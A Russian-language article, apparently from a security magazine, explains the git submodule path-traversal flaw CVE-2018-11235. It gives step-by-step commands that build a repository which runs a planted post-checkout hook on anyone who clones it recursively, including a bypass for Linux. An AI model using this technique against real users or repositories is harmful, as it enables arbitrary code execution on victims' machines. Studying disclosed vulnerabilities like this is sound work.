Думаю, вам не нужно рассказывать, что такое git, — он сегодня используется всеми от небольших компаний до гигантов индустрии. Найденная в нем уязвимость позволяет злоумышленнику атаковать пользователей, которые клонировали специально сформированный репозиторий. Об этой уязвимость в Git я и расскажу в сегодняшней статье.
Обнаруженные уязвимости получили идентификаторы CVE-2018-11233 и CVE-2018-11235. Они присутствуют в следующих версиях git:
- все версии ниже 2.17.1;
- все версии ниже 2.16.4;
- все версии ниже 2.14.4;
- все версии ниже 2.15.2;
- все версии ниже 2.13.7
- и другие, более ранние версии.
Большой интерес представляет баг CVE-2018-11235, который был обнаружен исследователем Этьеном Сталмансом (Etienne Stalmans). Эксплуатация именно этой уязвимости приводит к самым плохим последствиям — выполнению произвольного кода на машине жертвы. Проблема была найдена в рамках программы охоты за ошибками GitHub и затрагивает функции обработки имени подмодуля.
Дыра оказалась платформонезависимой и прекрасно существует во всех основных популярных операционных системах — Windows, macOS и Linux. Список уязвимых веток приложения обширен, к тому же под угрозой оказались и программы, в которые включена версия Git «из коробки». В основном это разные IDE, такие как Visual Studio и Xcode.
РЕКОМЕНДУЕМ:
Лучшие клиенты Git GUI для Windows
Стенд
Думаю, описание установки git на свою машину будет лишней тратой экранного места. Выбирайте удобную вам платформу и скачивайте дистрибутив. Проследите только, чтобы номер версии входил в число уязвимых. Я ради разнообразия буду использовать git для Windows.
Что такое «подмодули»?
Во время разработки постоянно возникает необходимость задействовать в своем проекте еще какой-то проект. Например, дополнительную библиотеку, которая независимо используется в нескольких других проектах. Чтобы не плодить копии этой библиотеки и всегда иметь простую возможность обновить ее до последней версии, в git существует понятие подмодуля (submodule). Подмодули позволяют содержать один git-репозиторий как подкаталог другого. Это дает возможность клонировать еще один репозиторий внутрь проекта, при этом в него по-прежнему можно коммитить отдельно.
Посмотрим, как это сделать. Для начала создадим пустой репозиторий.
1 2 |
$ mkdir subvh && cd subvh $ git init |
Допустим, теперь мы хотим использовать в этом проекте крутой словарь для дирбаста. Загрузим его в качестве подмодуля:
1 |
$ git submodule add git://github.com/Bo0oM/fuzz.txt fuzz |
где fuzz — это название папки, куда будет помещен репозиторий. Теперь, если заглянуть в git status, мы увидим, что появился новый файл .gitmodules.
1 2 3 4 5 6 7 8 |
$ git status On branch master No commits yet Changes to be committed: (use "git rm --cached <file>..." to unstage) new file: .gitmodules new file: fuzz |
Этот конфигурационный файл задает соответствие локального пути внутри проекта с адресом репозитория.
1 2 3 4 5 |
$ cat .gitmodules [submodule "fuzz"] path = fuzz url = git://github.com/Bo0oM/fuzz.txt |
Обрати внимание на заголовок файла: в кавычках указывается название подмодуля, оно аналогично названию папки, в которую мы его клонировали. Разумеется, репозиторий может содержать сколько угодно подмодулей, для каждого будет создана отдельная запись в .gitmodules.
Сам файл находится под версионным контролем вместе с другими твоими файлами. Он отправляется при выполнении push и загружается при выполнении pull вместе с остальными файлами проекта.
Однако, кроме появления .gitmodules, в структуре проекта были сделаны и другие изменения. Как ты знаешь, в корне репозитория в папке .git хранятся служебные файлы. Там можно обнаружить директорию modules с подпапкой fuzz. А в ней уже хранится такой же служебный каталог .git, только от нашего подмодуля. В самой папке подмодуля находится файл .git, в котором указано, по какому пути искать служебную директорию.
1 2 3 |
$ cat fuzz/.git gitdir: ../.git/modules/fuzz |
Пора закоммитить внесенные изменения.
1 |
$ git commit -m "Added submodule" |
Теперь попробуем клонировать наш свежесобранный репозиторий с подмодулем.
1 2 |
$ cd .. $ git clone subvh subtest |
Заглядываем в папку fuzz и… не видим там ничего.
Дело в том, что для автоматической загрузки подмодулей во время клонирования нужно использовать ключ --recurse-submodules или просто --recursive.
1 |
$ git clone subvh subtest --recursive |
Теперь все в порядке и можно переходить к деталям уязвимости.
1 2 3 4 5 6 7 8 9 10 11 12 |
$ git clone subvh subtest --recursive Cloning into 'subtest'... done. Submodule 'fuzz' (git://github.com/Bo0oM/fuzz.txt) registered for path 'fuzz' Cloning into 'D:/VisualHack/subtest/fuzz'... remote: Counting objects: 323, done. remote: Compressing objects: 100% (6/6), done. remote: Total 323 (delta 2), reused 0 (delta 0), pack-reused 317 Receiving objects: 100% (323/323), 1.85 MiB | 943.00 KiB/s, done. Resolving deltas: 100% (197/197), done. Submodule path 'fuzz': checked out 'b50734ffa4477b8f7d86bca3f9eed648a9b83ed7' |
Детали уязвимости
Сначала заглянем в коммит, который патчит уязвимость.
В файл submodule-config.c была добавлена функция check_submodule_name для проверки имени подмодуля.
submodule-config.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
193: int check_submodule_name(const char *name) 194: { 195: /* Disallow empty names */ 196: if (!*name) 197: return -1; ... 204: goto in_component; /* always start inside component */ 205: while (*name) { 206: char c = *name++; 207: if (c == '/' || c == '\\') { 208: in_component: 209: if (name[0] == '.' && name[1] == '.' && 210: (!name[2] || name[2] == '/' || name[2] == '\\')) 211: return -1; 212: } 213: } 214: 215: return 0; 216: } |
Она вызывается во время работы скрипта git-submodule.sh, чтобы обработать название, переданное в виде аргументов командной строки.
git-submodule.sh
1 2 3 4 |
232: if ! git submodule--helper check-name "$sm_name" 233: then 234: die "$(eval_gettext "'$sm_name' is not a valid submodule name")" 235: fi |
/builtin/submodule—helper.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
1825: static int check_name(int argc, const char **argv, const char *prefix) 1826: { 1827: if (argc > 1) { 1828: while (*++argv) { 1829: if (check_submodule_name(*argv) < 0) 1830: return 1; 1831: } 1832: } else { 1833: struct strbuf buf = STRBUF_INIT; 1834: while (strbuf_getline(&buf, stdin) != EOF) { 1835: if (!check_submodule_name(buf.buf)) 1836: printf("%s\n", buf.buf); 1837: } 1838: strbuf_release(&buf); 1839: } 1840: return 0; 1841: } |
Также check_submodule_name вызывается в функции name_and_item_from_var, которая занимается обработкой имени подмодуля из конфигурационного файла.
submodule-config.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
218: static int name_and_item_from_var(const char *var, struct strbuf *name, 219: struct strbuf *item) 220: { 221: const char *subsection, *key; 222: int subsection_len, parse; 223: parse = parse_config_key(var, "submodule", &subsection, 224: &subsection_len, &key); 225: if (parse < 0 || !subsection) 226: return 0; 227: 228: strbuf_add(name, subsection, subsection_len); 229: if (check_submodule_name(name->buf) < 0) { 230: warning(_("ignoring suspicious submodule name: %s"), name->buf); 231: strbuf_release(name); 232: return 0; 233: } 234: 235: strbuf_addstr(item, key); 236: 237: return 1; 238: } |
Теперь вернемся к созданию подмодулей. Как ты помнишь, его название в секции [submodule] было таким же, как и название папки, где он хранится. Но это только до тех пор, пока мы вручную не укажем его название с помощью ключа --name.
1 |
$ git submodule add --name "test" git://github.com/Bo0oM/fuzz.txt fuzz |
Теперь заглянем в .gitmodules.
1 2 3 4 5 |
$ cat .gitmodules [submodule "test"] path = fuzz url = git://github.com/Bo0oM/fuzz.txt |
А теперь кое-что поинтереснее. Глянем листинг директории .git/modules.
Путь, по которому располагаются файлы подмодуля, остался тем же, а вот служебная папка теперь имеет название, которое мы указали в параметре
name.
Отталкиваясь от добавленных проверок в теле пропатченной функции
check_submodule_name, рискнем предположить, что тут имеет место уязвимость path traversal. Проверим это умозаключение, указав в качестве названия подмодуля
../test.
Да, уязвимость присутствует, и папка со служебными файлами подмодуля теперь находится не в поддиректории modules, а в .git нашего репозитория. Теперь, манипулируя параметром name, мы можем менять местоположение служебной папки подмодуля. Что же это нам может дать, кроме возможности перезаписать какие-то данные?
РЕКОМЕНДУЕМ:
Как работает уязвимость в ModSecurity WAF
Хуки в git
Git предоставляет возможность запускать пользовательские скрипты при выполнении определенных важных действий с репозиторием. В инфраструктуре git это называется хуками (git hooks). Существует два вида хуков: на стороне клиента и на стороне сервера. Клиентские хуки инициируются такими операциями, как commit и merge, в то время как серверные обработчики выполняются при сетевых взаимодействиях, например получении запушенных коммитов.
Все хуки хранятся в поддиректории hooks каталога .git. Когда ты инициализируешь новый репозиторий с помощью git init, каталог с хуками содержит вязанку скриптов-примеров c расширением .sample. По сути, хуки — это простые шелл-скрипты со специальными названиями, соответствующими операциям. Например, pre-commit.
Так как хуки находятся непосредственно в служебной папке .git, то, разумеется, они никогда не включаются в репозиторий, не являются его частью и не передаются при клонировании с помощью git clone. Это логичная практика: если бы хуки были частью репозитория, то можно было бы просто создать репозиторий, после клонирования которого у клиента выполнялся бы произвольный код.
Подмодули — это обычные внешние репозитории, а значит, они тоже содержат хуки, которые по умолчанию располагаются в папке .git/modules/<имя_подмодуля>/hooks. Но ведь у нас есть path traversal!
Тернистый путь к RCE
C помощью найденной уязвимости мы можем служебную папку подмодуля превратить в часть репозитория, и она будет вместе с ним путешествовать во время работы и при последующем клонировании.
1 |
$ git submodule add --name "../../fuzz.git" git://github.com/Bo0oM/fuzz.txt fuzz |
После выполнения такой команды в корне репозитория, помимо директории самого подмодуля, появляется его служебная папка. Теперь можно добавлять хуки в fuzz.git/hooks.
Создадим хук post-checkout, который будет выполняться после команды checkout, в том числе и после клонирования репозитория.
1 2 3 4 5 |
$ echo -e '#!/bin/bash\nuname -a' > fuzz.git/hooks/post-checkout $ chmod +x !$ $ git add . $ git commit -m "message" $ git push origin master |
И этого для машин на Windows достаточно. Если теперь клонировать созданный репозиторий, мы увидим результат выполнения команды uname -a. Это работает как при клонировании с git clone subvh subtest --recursive, так и через git submodule update --init.
А вот на системах с Linux такой фокус не пройдет. При попытке клонировать репозиторий на этапе загрузки подмодулей будет выдана ошибка: папка для служебных файлов подмодуля уже существует.
К тому же во время клонирования вся директория будет перезаписана, и наш хук не отработает.
Но Этьен нашел способ избежать этого. Байпас оказался простым, но не самым очевидным. Помог счастливый случай! Нужно лишь добавить еще один подмодуль, причем с таким названием, чтобы оно было первым при сортировке в алфавитном порядке. В нашем случае это может быть, например, ааа.
1 |
$ git submodule add git://github.com/Bo0oM/fuzz.txt aaa |
Подойдет любой подмодуль. Главное тут — название. Когда в папке .git/modules уже существует какой-нибудь подмодуль, git считает любой путь валидным при последующей инициализации других подмодулей, и перезапись директории не происходит. Это отличная новость, так как теперь наш хук прекрасно себя чувствует и выполняется.
Выводы
Вот такая интересная, изящная и очень опасная уязвимость существовала во всеми любимом клиенте git. Еще одно доказательство того, что популярность продукта совсем не означает отсутствия в нем уязвимостей. Даже если исследователи засмотрели что-то до дыр, у тебя всегда есть шанс найти что-то новое и утереть им нос.
Кстати, на момент написания статьи GitHub запретил пушить репозитории, в которых есть модули, содержащие названия хуков. Заботятся о нашей безопасности!